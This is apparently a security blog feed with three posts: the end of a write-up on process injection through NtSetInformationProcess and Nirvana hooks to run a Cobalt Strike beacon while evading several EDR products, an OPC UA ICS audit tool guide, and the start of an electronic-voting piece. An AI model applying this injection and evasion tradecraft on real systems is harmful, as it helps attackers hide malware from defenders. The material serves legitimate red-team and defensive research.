<li>Modify the Nirvana shellcode in order to call the <strong>Cobaltstrike</strong> beacon address in the remote process</li>
<li>Allocate an <strong>RWX</strong> buffer in the <code>notepad.exe</code> process for the <strong>Nirvana Hook</strong></li>
<li>Write both the shellcode and the <strong>Cobaltstrike</strong> beacon in their respective buffer</li>
<li>Add a new Nirvana Hook using the <code>NtSetInformationProcess</code></li>
<li>Wait for the notepad to perform a syscall</li>
</ul>
<div> </div>
<div>The whole code is available on this Github repository: <a href="https://github.com/OtterHacker/SetProcessInjection"><strong><span style="color: #000080;">https://github.com/OtterHacker/SetProcessInjection</span></strong></a>.</div>
<div> </div>
<div> </div>
<h3>Drawbacks</h3>
<div>The most important drawback is the fact that <code>SE_DEBUG</code> privilege is mandatory for the injection. Therefore, this injection method can <strong>only be used during post-exploitation</strong> and <strong>not during initial access</strong>.</div>
<div>The other problem that could be fixed, giving some time to it, is that the <strong>Nirvana shellcode must be allocated as RWX</strong> in a remote buffer as it is a self-rewriting shellcode.</div>
<div>This can be solved by having the shellcode doing a call to <code>VirtualProtect</code> by itself or finding another way to break the infinite hook loop (by re-calling <code>NtSetInformationProcess</code> directly from the shellcode to remove the callback).</div>
<div> </div>
<div> </div>
<h3>EDR inspection</h3>
<div>The malware has been tested against <strong>Microsoft Defender For Endpoint</strong>, <strong>SentinelOne</strong>, <strong>TrendMicro</strong> and <strong>Sophos</strong>. <strong>None of them raised any alerts</strong> regarding the execution primitive.</div>
<div>However, it is not because no alerts are raised that no detection has occurred. For example, if we look at the <code>ntdll!SetInformationProcess</code> on a process monitored by <strong>SentinelOne</strong>, it is possible to see the following userland hook:</div>
<div> </div>
<div><img loading="lazy" decoding="async" class="size-full wp-image-21504 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/10/07.png" alt="" width="749" height="227" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/10/07.png 749w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/10/07-437x132.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/10/07-71x22.png 71w" sizes="auto, (max-width: 749px) 100vw, 749px" /></div>
<div> </div>
<div style="text-align: center;"><em>Figure 7: SentinelOne userland hook</em></div>
<div> </div>
<div> </div>
<div>Following the different <code>JMP</code> shows that the hook is located at <code>0x7ffd0160ab00</code>. Looking at the process loaded DLL, it is possible to retrieve the SentinelOne DLL’s base address:</div>
<div style="text-align: center;"> </div>
<div style="text-align: center;"><img loading="lazy" decoding="async" class="alignnone size-full wp-image-21506" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/10/08.png" alt="" width="517" height="95" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/10/08.png 517w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/10/08-437x80.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/10/08-71x13.png 71w" sizes="auto, (max-width: 517px) 100vw, 517px" /></div>
<div style="text-align: center;"><em>Figure 7: SentinelOne DLL address</em></div>
<div> </div>
<div> </div>
<div>So, the hook’s code is stored in the <code>InProcessClient64.dll</code> at the <code>0x7ab00</code> offset.</div>
<div>Disassembling the related function in IDA shows the following function:</div>
<div style="text-align: center;"> </div>
<div style="text-align: center;"><img loading="lazy" decoding="async" class="alignnone  wp-image-21508" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/10/09.png" alt="" width="556" height="281" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/10/09.png 766w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/10/09-378x191.png 378w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/10/09-71x36.png 71w" sizes="auto, (max-width: 556px) 100vw, 556px" /></div>
<div> </div>
<div style="text-align: center;"><em>Figure 8: SetInformationProcess hook code</em></div>
<div> </div>
<div> </div>
<div>We see that the hook is copying the initial parameter in the <code>SetInfoArgs</code> structure, pack it in the <code>SentinelHookParams</code> structure and call the <code>ExecuteHook</code> function. This function is a succession of different calls leading to the following code:</div>
<div style="text-align: center;"> </div>
<div style="text-align: center;"><img loading="lazy" decoding="async" class="alignnone size-full wp-image-21510" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/10/10.png" alt="" width="407" height="209" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/10/10.png 407w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/10/10-372x191.png 372w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/10/10-71x36.png 71w" sizes="auto, (max-width: 407px) 100vw, 407px" /></div>
<div> </div>
<div style="text-align: center;"><em>Figure 9: SentinelOne test performed on the hook</em></div>
<div> </div>
<div> </div>
<div>This function shows that SentinelOne is <strong>performing tests on this hook</strong> and it is specifically related to the <code>ProcessInfomationClass</code> used for the <strong>Nirvana Hook registering</strong>.</div>
<div>It is possible to look at the different checks that are performed to understand the detection logic set up, but it is not the purpose of this post. However, some obvious checks can be easily observed. The following code shows that the <code>TTDINJECT.EXE</code> and <code>TTD.EXE</code> executables (related to <strong>Windows Time Travel Debugging</strong>) seem to be whitelisted:</div>
<div style="text-align: center;"> </div>
<div style="text-align: center;"><img loading="lazy" decoding="async" class="alignnone  wp-image-21512" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/10/11.png" alt="" width="624" height="221" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/10/11.png 757w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/10/11-437x155.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/10/11-71x25.png 71w" sizes="auto, (max-width: 624px) 100vw, 624px" /></div>
<div> </div>
<div style="text-align: center;"><em>Figure 10: TTDINJECT whitelisting</em></div>
<div> </div>
<div> </div>
<div>Likewise, it is possible to see additional tests performed when the SentinelOne’s <code>ProtectDeepHooking</code> feature is activated:</div>
<div style="text-align: center;"> </div>
<div style="text-align: center;"><img loading="lazy" decoding="async" class="alignnone  wp-image-21514" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/10/12.png" alt="" width="446" height="146" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/10/12.png 654w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/10/12-437x143.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/10/12-71x23.png 71w" sizes="auto, (max-width: 446px) 100vw, 446px" /></div>
<div> </div>
<div style="text-align: center;"><em>Figure 11: Additional tests performed</em></div>
<div> </div>
<div> </div>
<div>The point here is that <strong>some EDR are still performing some detection through userland hook</strong> to detect the use of this API. However, as every userland detection mechanism, it is possible to <strong>bypass</strong> it using standard <strong>unhooking techniques</strong> and no kernel callback have been found to detect and prevent the use of this API.</div>
<div> </div>
<div> </div>
<h2>Conclusion</h2>
<div>This conclusion is exactly the same as the one from my LeHack 2023 talk: <strong>instead of spending months trying to find a way to bypass EDR and starting from scratch, it can be interesting to just looking up and see if some built-in behavior could not be easily hijacked to serve our purpose</strong>.</div>
<div> </div>
<div><strong>Security products cannot monitor all WIN32API</strong> and while behavioral analysis is kicking in, it is still hard for them to <strong>determine if a behavior is legitimate or malicious</strong> when using non-standard patterns.</div>
<div>So, <span style="text-decoration: underline;"><strong>be creative</strong></span>, Microsoft has created hundreds of functions, you will surely find one that will satisfy your needs!</div>
<div> </div>
<div>It seems that I am not the only one thinking like this, as a <a href="https://www.deepinstinct.com/blog/nofilter-abusing-windows-filtering-platform-for-privilege-escalation">Defcon31 talk</a> about token duplication presented by Ron BEN YIZHAK also <strong>hijacks a non-standard WIN32API</strong> to bypass standard detection by avoiding the classic WIN32API direct call.</div>
<div> </div>
<div> </div>
<div style="text-align: right;"><em>Yoann DEQUEKER</em></div>
<div> </div>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2023/10/process-injection-using-ntsetinformationprocess/">Process Injection using NtSetInformationProcess</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.riskinsight-wavestone.com/en/2023/10/process-injection-using-ntsetinformationprocess/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>A look at OPC-UA, an emerging modern ICS protocol</title>
		<link>https://www.riskinsight-wavestone.com/en/2023/09/a-look-at-opc-ua-an-emergin-modern-ics-protocol/</link>
					<comments>https://www.riskinsight-wavestone.com/en/2023/09/a-look-at-opc-ua-an-emergin-modern-ics-protocol/#respond</comments>
		
		<dc:creator><![CDATA[Constance Francois]]></dc:creator>
		<pubDate>Mon, 11 Sep 2023 15:14:54 +0000</pubDate>
				<category><![CDATA[Cybersecurity & Digital Trust]]></category>
		<category><![CDATA[Deep-dive]]></category>
		<category><![CDATA[Manufacturing & Industry 4.0]]></category>
		<guid isPermaLink="false">https://www.riskinsight-wavestone.com/?p=21196</guid>

					<description><![CDATA[<p>  Intro The emergence of the Industry 4.0 is characterized by the digitization of industry and greater interconnection between the various machines that make up an industrial IS (Information System). However, this growth in communications within industrial Control Systems also...</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2023/09/a-look-at-opc-ua-an-emergin-modern-ics-protocol/">A look at OPC-UA, an emerging modern ICS protocol</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<h1> </h1>
<h1>Intro</h1>
<p>The emergence of the Industry 4.0 is characterized by the digitization of industry and greater interconnection between the various machines that make up an industrial IS (Information System). However, this growth in communications within industrial Control Systems also leads to an increase in their attack surface. Moreover, the protocols used historically (such as Modbus), offer little or no security mechanism. Some of these protocols were also proprietary, which could cause interoperability problems between the different machines of the IS.</p>
<p>The OPC UA standard was created in 2008 by the OPC Foundation to address these issues, by proposing a standardization of communications between ICS machines, and by integrating many mechanisms to ensure the security of these communications.</p>
<p> </p>
<h1>The OPC UA standard</h1>
<p>The OPC UA standard is an open-source and multiplatform communication standard. It can be implemented on any type of device, regardless of their operating system.</p>
<p style="text-align: center;"><img loading="lazy" decoding="async" class="alignnone  wp-image-21205" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/09/1569094872898-en-html-1.0.jpg" alt="" width="842" height="470" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/09/1569094872898-en-html-1.0.jpg 1600w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/09/1569094872898-en-html-1.0-342x191.jpg 342w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/09/1569094872898-en-html-1.0-71x39.jpg 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/09/1569094872898-en-html-1.0-768x429.jpg 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/09/1569094872898-en-html-1.0-1536x858.jpg 1536w" sizes="auto, (max-width: 842px) 100vw, 842px" /><br /><em>Possible communications offered by OPC UA </em>(Source: OPC Foundation <a href="https://opcconnect.opcfoundation.org/wp-content/uploads/2021/09/OPC-UA-for-Field-in-FA-and-PA.jpg">website</a>)</p>
<p>Two types of architecture can be set up:</p>
<ul>
<li>Client-server architecture: this is the most widely used architecture. It is composed of hardware and/or software elements that contain data, OPC UA servers that provide this data or services, and OPC UA clients that can interact with the servers to use their services or access their data.</li>
<li>PubSub architecture: it can be used to exchange a higher data volume. It is composed of Publishers who send messages, and Subscribers who receive these messages through a Message Oriented Middleware (MOM).</li>
</ul>
<p> </p>
<h1>Client-server architecture security</h1>
<p>As the client-server architecture is by far the most widely used, we will now look in more detail at the security mechanisms offered by the OPC UA standard in this type of architecture.</p>
<p>First of all, three levels of security are available regarding the encryption of communications between a client and an OPC UA server:</p>
<ul>
<li><em>None</em>: messages are sent in clear text, without any protection</li>
<li><em>Sign</em>: messages are signed. This protects the integrity of the transmitted data, but not their confidentiality</li>
<li><em>SignAndEncrypt</em>: messages are signed and encrypted. In this case, the confidentiality of the messages is also protected</li>
</ul>
<p>To set up an encrypted channel, the client and server each have an X.509 certificate and an associated private key, which they use to exchange a session key in a secure channel. Then, they can use this session key to encrypt the rest of the exchanges, using symmetric encryption algorithms.</p>
<p>Several levels of security for user authentication are also available. To authenticate, clients send tokens to the servers called <a href="https://reference.opcfoundation.org/Core/Part4/v105/docs/7.41"><em>UserIdentityTokens</em></a>, which contain the information necessary for the authentication process. There are several types of <em>UserIdentityToken</em>, and the server chooses which types it accepts:</p>
<ul>
<li><a href="https://reference.opcfoundation.org/Core/Part4/v105/docs/7.41.3"><em>AnonymousIdentityToken</em></a>: this token does not contain any specific information. If the server accepts it, and authenticates the user as an anonymous user</li>
<li><a href="https://reference.opcfoundation.org/Core/Part4/v105/docs/7.41.4"><em>UserNameIdentityToken</em></a>: this token contains a username and a password. If these are valid, the user is authenticated and then obtains the profile and rights associated with his username</li>
<li><a href="https://reference.opcfoundation.org/Core/Part4/v105/docs/7.41.5"><em>X509IdentityToken</em></a>: this token contains an X.509 certificate. If the server has registered this certificate, the user is authenticated and then obtains a profile and the rights associated with the certificate</li>
<li><a href="https://reference.opcfoundation.org/Core/Part4/v105/docs/7.41.6"><em>IssuedIdentityToken</em></a>: this token encapsulates an access token provided by a third-party access management service, like an OAuth2 server for example</li>
</ul>
<p>Finally, once authenticated, the user has access to the server&#8217;s nodes. Below is an example of nodes that could be encountered on an OPC UA server:</p>
<p><img loading="lazy" decoding="async" class=" wp-image-21220 alignleft" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/09/Image1.png" alt="" width="255" height="390" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/09/Image1.png 227w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/09/Image1-125x191.png 125w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/09/Image1-26x39.png 26w" sizes="auto, (max-width: 255px) 100vw, 255px" />        <img loading="lazy" decoding="async" class=" wp-image-21222 alignright" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/09/Image2.png" alt="" width="451" height="390" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/09/Image2.png 450w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/09/Image2-221x191.png 221w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/09/Image2-45x39.png 45w" sizes="auto, (max-width: 451px) 100vw, 451px" />         </p>
<p> </p>
<p> </p>
<p> </p>
<p> </p>
<p> </p>
<p> </p>
<p> </p>
<p style="text-align: center;"><em><br />OPC UA nodes</em></p>
<p>Access control can be set up to restrict access to some nodes to high-privileged users (administrators, etc.), or to require that the communication channel be encrypted to access some sensitive nodes. The figure below summarizes how access management to a node works:</p>
<p style="text-align: center;"><em><img loading="lazy" decoding="async" class="alignnone  wp-image-21225 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/09/Image3-3.png" alt="" width="457" height="227" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/09/Image3-3.png 457w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/09/Image3-3-385x191.png 385w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/09/Image3-3-71x35.png 71w" sizes="auto, (max-width: 457px) 100vw, 457px" /><br />Role overview extracted from chapter 2 of the OPC UA specifications</em></p>
<p> </p>
<h1>OPC UA audit tooling</h1>
<p>Only few public tools are available to audit OPC UA applications. One of the most well-known is the Metasploit module called « <a href="https://github.com/COMSYS/msf-opcua">msf-opcua </a>».</p>
<p>This module is composed of three scripts:</p>
<ul>
<li><em>opcua_hello</em>: sends a &#8220;Hello Message&#8221; to a list of IP addresses, for a given port, to detect the presence of OPC UA servers among this list</li>
<li><em>opcua_server_config</em>: this script requires an authenticated access to an OPC UA server to be used. It allows to retrieve information on the configuration of the server endpoints (encryption, authentication&#8230;)</li>
<li><em>opcua_login</em>: performs a dictionary attack on a server using username and password authentication</li>
</ul>
<p>Although it provides some useful functionalities, this tool has some limitations. For example, it is not possible to scan several ports at once with the opcua_hello script. Another example is that the opcua_server_config script requires authentication to retrieve configuration information, which is available without authentication.</p>
<p>Therefore, Wavestone decided to improve this tool. It was decided to stop using the Metasploit framework, which imposed too many constraints, therefore the tool is now an independent Python script, renamed « opcua_scan ». It is based on the <a href="https://github.com/FreeOpcUa/opcua-asyncio">opcua-asyncio</a> library, unlike the msf-opcua module which uses the <a href="https://github.com/FreeOpcUa/python-opcua">python-opcua</a> library declared deprecated by its authors.</p>
<p>The tool is accessible with this <a href="https://github.com/wavestone-cdt/opcua-scan">link</a>, and provides two commands: &#8220;hello&#8221; and &#8220;server_config&#8221;, which reimplement and improve the functionality of the opcua_hello and opcua_server_config scripts of the msf-opcua module. The opcua_login script is not included, as no improvement were performed, and it can be used directly.</p>
<p> </p>
<h2>The hello command</h2>
<p>This command is used to detect OPC UA applications in a network. It sends &#8220;Hello Message&#8221; to a list of IP addresses, on a given list of ports, and deduces the presence or absence of OPC UA servers on the targets. Then, the <a href="https://reference.opcfoundation.org/Core/Part4/v105/docs/5.4.2"><em>FindServers</em></a> service, which is supposed to be implemented by any OPC UA server, is used to retrieve the <a href="https://reference.opcfoundation.org/Core/Part4/v105/docs/7.2"><em>ApplicationDescription</em></a> of the server (and other OPC UA applications known by the server). This object contains useful information, such as the <em>productUri</em>, which gives information about the software or library used to run the detected server, or the <em>discoveryUrls</em>, which indicates the URLs to the server&#8217;s <a href="https://reference.opcfoundation.org/Core/Part4/v105/docs/3.1.3"><em>DiscoveryEndpoints</em></a>. These endpoints can be used by the server_config command to retrieve more information about the server configuration.</p>
<p>Several options have been added to the command, such as the configuration of the timeout or the possibility to retrieve the list of detected servers in a JSON output file.</p>
<p>This is how the hello command could be used in practice:</p>
<pre>$ python opcua_scan.py hello -i &lt;IPs&gt; -p &lt;ports&gt; -o hello_output.json</pre>
<p style="text-align: center;"><em><img loading="lazy" decoding="async" class="alignnone  wp-image-21227" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/09/Image4.png" alt="" width="639" height="340" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/09/Image4.png 789w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/09/Image4-359x191.png 359w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/09/Image4-71x39.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/09/Image4-768x409.png 768w" sizes="auto, (max-width: 639px) 100vw, 639px" /><br />Example of results generated by the hello command</em></p>
<p>And the screenshot below shows an extract of the generated JSON file:</p>
<p style="text-align: center;"><em><img loading="lazy" decoding="async" class="alignnone  wp-image-21229" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/09/Image5.png" alt="" width="639" height="227" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/09/Image5.png 724w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/09/Image5-437x155.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/09/Image5-71x25.png 71w" sizes="auto, (max-width: 639px) 100vw, 639px" /><br />Extract of an output file generated by the hello command</em></p>
<p>The complete documentation of the hello command and all its options is available <a href="https://github.com/wavestone-cdt/opcua-scan/blob/main/README.md#hello-command-discovery">here</a>.</p>
<h2> </h2>
<h2>The server_config command</h2>
<p>Thanks to the <a href="https://reference.opcfoundation.org/Core/Part4/v105/docs/3.1.3"><em>DiscoveryEndpoints</em></a> retrieved with the hello command, we now have access to the entire <a href="https://reference.opcfoundation.org/Core/Part4/v105/docs/5.4"><em>Discovery Service Set</em></a> of the server. No authentication or encryption mechanisms are required to use these services. Among these services, the one called <a href="https://reference.opcfoundation.org/Core/Part4/v105/docs/5.4.4"><em>GetEndpoints</em></a> can be used to retrieve the endpoints to connect to the server, as well as information about the configuration of these endpoints. This information is given through <a href="https://reference.opcfoundation.org/Core/Part4/v105/docs/7.14"><em>EndpointDescriptions</em></a> objects, which contain, among others:</p>
<ul>
<li>The security level of the encryption accepted on the endpoint (<em>None</em>, <em>Sign</em> ou <em>SignAndEncrypt</em>)</li>
<li>The signature or encryption algorithm used</li>
<li>The types of <em>UserIdentityToken</em> accepted by the endpoint (<em>AnonymousIdentityToken</em>, <em>UserNameIdentityToken</em>, <em>X509IdentityToken</em> or <em>IssuedIdentityToken</em>)</li>
</ul>
<p>The server_config command allows to retrieve the <em>EndpointDescriptions</em> of all the servers detected via the hello command, and to identify among these servers those that accept anonymous authentication or the <em>None</em> security level. All this information is accessible for a non-authenticated user.</p>
<p>In addition, if an authenticated access to a server is possible, the command also allows to browse the nodes of the server and identify the rights that the current user has on these nodes. For example, it is possible to obtain a list of nodes of type <em>Variable</em> that can be written to, or a list of methods that can be executed by the user.</p>
<p>Finally, other useful options have been added to the server_config command:</p>
<ul>
<li>-o (or &#8211;output) allows to set up a JSON output file to store the results of the command and browse them more easily than on a terminal. Additional information is stored there, such as the value of the <em>UserWriteMask</em> attribute of the nodes, which indicates which attributes of the nodes can be modified by the user.</li>
<li>-r (or &#8211;root_node) allows to browse only a subset of the server&#8217;s nodes from a starting node specified in the argument. Indeed, browsing all the nodes can be long and this option can be used to target the nodes of interest.</li>
</ul>
<p>The complete documentation of the server_config command and all its options is available <a href="https://github.com/wavestone-cdt/opcua-scan/blob/main/README.md#server_config-command">here</a>.</p>
<p>In practice, this is how the server_config command could be used:</p>
<p>The output file of the hello command is given as an argument (via the -t option) and will be used to retrieve information about the endpoints of the detected servers::</p>
<pre>$ python opcua_scan.py server_config -t hello_output.json</pre>
<p style="text-align: center;"><em><img loading="lazy" decoding="async" class="alignnone  wp-image-21231" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/09/Image6.png" alt="" width="639" height="376" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/09/Image6.png 869w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/09/Image6-325x191.png 325w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/09/Image6-66x39.png 66w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/09/Image6-120x70.png 120w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/09/Image6-768x452.png 768w" sizes="auto, (max-width: 639px) 100vw, 639px" /><br />Example of results generated by the server_config command</em></p>
<p>Here, the server allows unencrypted and anonymous connections or authenticated with a username and password. If the server did not allow anonymous connections, the opcua_login script of msf-opcua could be used to try to find valid credentials, but this is not necessary in this example</p>
<p>It is therefore possible to anonymously access the server, browse its nodes and search for interesting nodes (the beginning of the command result has been deliberately cut off, and the « TemperatureControl » directory has been targeted with the -r option to reduce the number of nodes browsed):</p>
<pre>$ python opcua_scan.py server_config -t hello_output.json -o config_output.json -nw -r ‘ns=3;s=85/0:Simulation’</pre>
<p style="text-align: center;"><em><img loading="lazy" decoding="async" class="alignnone  wp-image-21233" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/09/Image7.png" alt="" width="639" height="357" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/09/Image7.png 896w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/09/Image7-342x191.png 342w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/09/Image7-71x39.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/09/Image7-768x429.png 768w" sizes="auto, (max-width: 639px) 100vw, 639px" /><br />Example of results obtained during a search for writeable nodes</em></p>
<p>Writeable nodes can then be further analysed in the output file that was configured in the previous command:</p>
<p style="text-align: center;"><em><img loading="lazy" decoding="async" class="alignnone size-full wp-image-21235" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/09/Image8.png" alt="" width="279" height="215" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/09/Image8.png 279w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/09/Image8-248x191.png 248w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/09/Image8-51x39.png 51w" sizes="auto, (max-width: 279px) 100vw, 279px" /><br />Extract of an output file generated by the server_config command</em></p>
<p>Here, it seems possible for an anonymous user to remotely turn on or off an air conditioners via the detected OPC UA server</p>
<p> </p>
<h1>Conclusion</h1>
<p>Despite the security mechanisms provided by the OPC UA standard, misconfigurations can easily occur and can impact the availability of industrial assets. The tool developed by Wavestone and presented in this article facilitates the audit of these configurations to better assess the security of Industrial Control Systems.</p>
<p>Finally, the OPC UA specifications defines more security mechanisms, such as the management of certificates by a Global Discovery Server or the encryption of PubSub messages thanks to the implementation of a Security Key Server. The OPC UA standard could therefore enable further progress in terms of security, but few implementations of these mechanisms exist to this date.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<p>The tool is available on Wavestone’s Github account: <a href="https://github.com/wavestone-cdt/opcua-scan">https://github.com/wavestone-cdt/opcua-scan</a></p>



<p>This tool was also used during a Arsenal lab session at BlackHat Asia 2023 in Singapore: <a href="https://github.com/wavestone-cdt/bhasia23-opcuhack">https://github.com/wavestone-cdt/bhasia23-opcuhack</a></p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2023/09/a-look-at-opc-ua-an-emergin-modern-ics-protocol/">A look at OPC-UA, an emerging modern ICS protocol</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.riskinsight-wavestone.com/en/2023/09/a-look-at-opc-ua-an-emergin-modern-ics-protocol/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Independent expertise of electronic voting systems</title>
		<link>https://www.riskinsight-wavestone.com/en/2023/05/independent-expertise-of-electronic-voting-systems/</link>
					<comments>https://www.riskinsight-wavestone.com/en/2023/05/independent-expertise-of-electronic-voting-systems/#respond</comments>
		
		<dc:creator><![CDATA[Bilal Benseddiq]]></dc:creator>
		<pubDate>Wed, 17 May 2023 15:07:10 +0000</pubDate>
				<category><![CDATA[Deep-dive]]></category>
		<category><![CDATA[Digital Compliance]]></category>
		<category><![CDATA[Ethical Hacking & Incident Response]]></category>
		<category><![CDATA[Digital compliance]]></category>
		<category><![CDATA[E-vote]]></category>
		<guid isPermaLink="false">https://www.riskinsight-wavestone.com/?p=20474</guid>

					<description><![CDATA[<p>Introduction Definition of electronic voting Electronic voting is a dematerialised, self-counting voting system in which voters use electronic devices to record their votes. The system can be used remotely via internet voting, or in person where voters can visit polling...</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2023/05/independent-expertise-of-electronic-voting-systems/">Independent expertise of electronic voting systems</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<h1 style="text-align: justify;">Introduction</h1>
<h2 style="text-align: justify;">Definition of electronic voting</h2>
<p style="text-align: justify;">Electronic voting is a <strong>dematerialised</strong>, <strong>self-counting </strong>voting system in which voters use electronic devices to record their votes.</p>
<p style="text-align: justify;">The system can be <strong>used remotely</strong> via <strong>internet voting</strong>, or in person where voters can visit polling stations equipped with voting machines.</p>
<p style="text-align: justify;"> </p>
<h2 style="text-align: justify;">History of electronic voting in France</h2>
<h3 style="text-align: justify;">The first traces date back to&#8230;1969!</h3>
<p style="text-align: justify;">The French Minister of the Interior, Raymond Marcellin, had the use of 100% <strong>mechanical </strong>voting machines authorised<a href="#_edn1" name="_ednref1">[i]</a>. Due to major breakdown and the failure to reduce fraud, these machines fell into disuse, but the amendment made to the electoral code remained.</p>
<h3 style="text-align: justify;">Use in professional elections</h3>
<p style="text-align: justify;">In the <strong>2018 </strong>French public sector professional elections,<strong> 5.15 million public employees </strong>were asked to vote using an electronic voting solution.</p>
<p style="text-align: justify;">In <strong>2022</strong>, <strong>5.6 million public employees </strong>in the three branches of the civil service are called upon to vote for their union representatives in the representative bodies. The ballot took place from the 1<sup>st</sup> to the 8<sup>th</sup> of December 2022. This was precedent in several respects, including the generalisation of electronic voting in the civil service and the establishment of new bodies for social dialogue<a href="#_edn2" name="_ednref2">[ii]</a>.</p>
<h3 style="text-align: justify;">Experiments underway for voting by French citizens abroad</h3>
<p style="text-align: justify;">For the 2017 elections, the Ministry of Foreign Affairs and International Development had developed an <strong>online voting </strong>platform <strong>for French citizens living abroad to participate in the legislative elections</strong>.</p>
<p style="text-align: justify;"> </p>
<h2 style="text-align: justify;">Types of voting in French organisations</h2>
<p style="text-align: justify;">Since 2018 in the French <strong>private sector</strong>, it became compulsory for companies with more than 11 employees to hold elections for members of the staff delegation within the <strong>social and economic committees </strong>(<strong>CSE</strong>), by secret ballot<a href="#_edn3" name="_ednref3"></a></p>
<p style="text-align: justify;"> </p>
<p style="text-align: justify;">In all cases, the employer should inform the workforce <strong>every four years </strong>(<em>unless the industry agreement provides for a shorter period of </em>between two and four years) by posting notices of the elections.</p>
<p style="text-align: justify;"> </p>
<h2 style="text-align: justify;">How electronic voting works in the context of professional elections</h2>
<p> </p>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-20476 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/05/EN1.png" alt="" width="945" height="543" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/05/EN1.png 945w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/05/EN1-332x191.png 332w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/05/EN1-68x39.png 68w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/05/EN1-120x70.png 120w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/05/EN1-768x441.png 768w" sizes="auto, (max-width: 945px) 100vw, 945px" /></p>
<p> </p>
<p style="text-align: justify;">Prior to the vote, the employer must <strong>call the professional elections</strong> specifying the date, place, and voting method (paper, electronic, or hybrid).</p>
<p style="text-align: justify;">The organisation of elections is generally based on one or more <strong>centralised polling stations </strong>and regional polling stations, depending on the volume of votes and voters. The polling station members are <strong>trained</strong>, the solution is <strong>assessed, </strong>and <strong>test elections </strong>are held.</p>
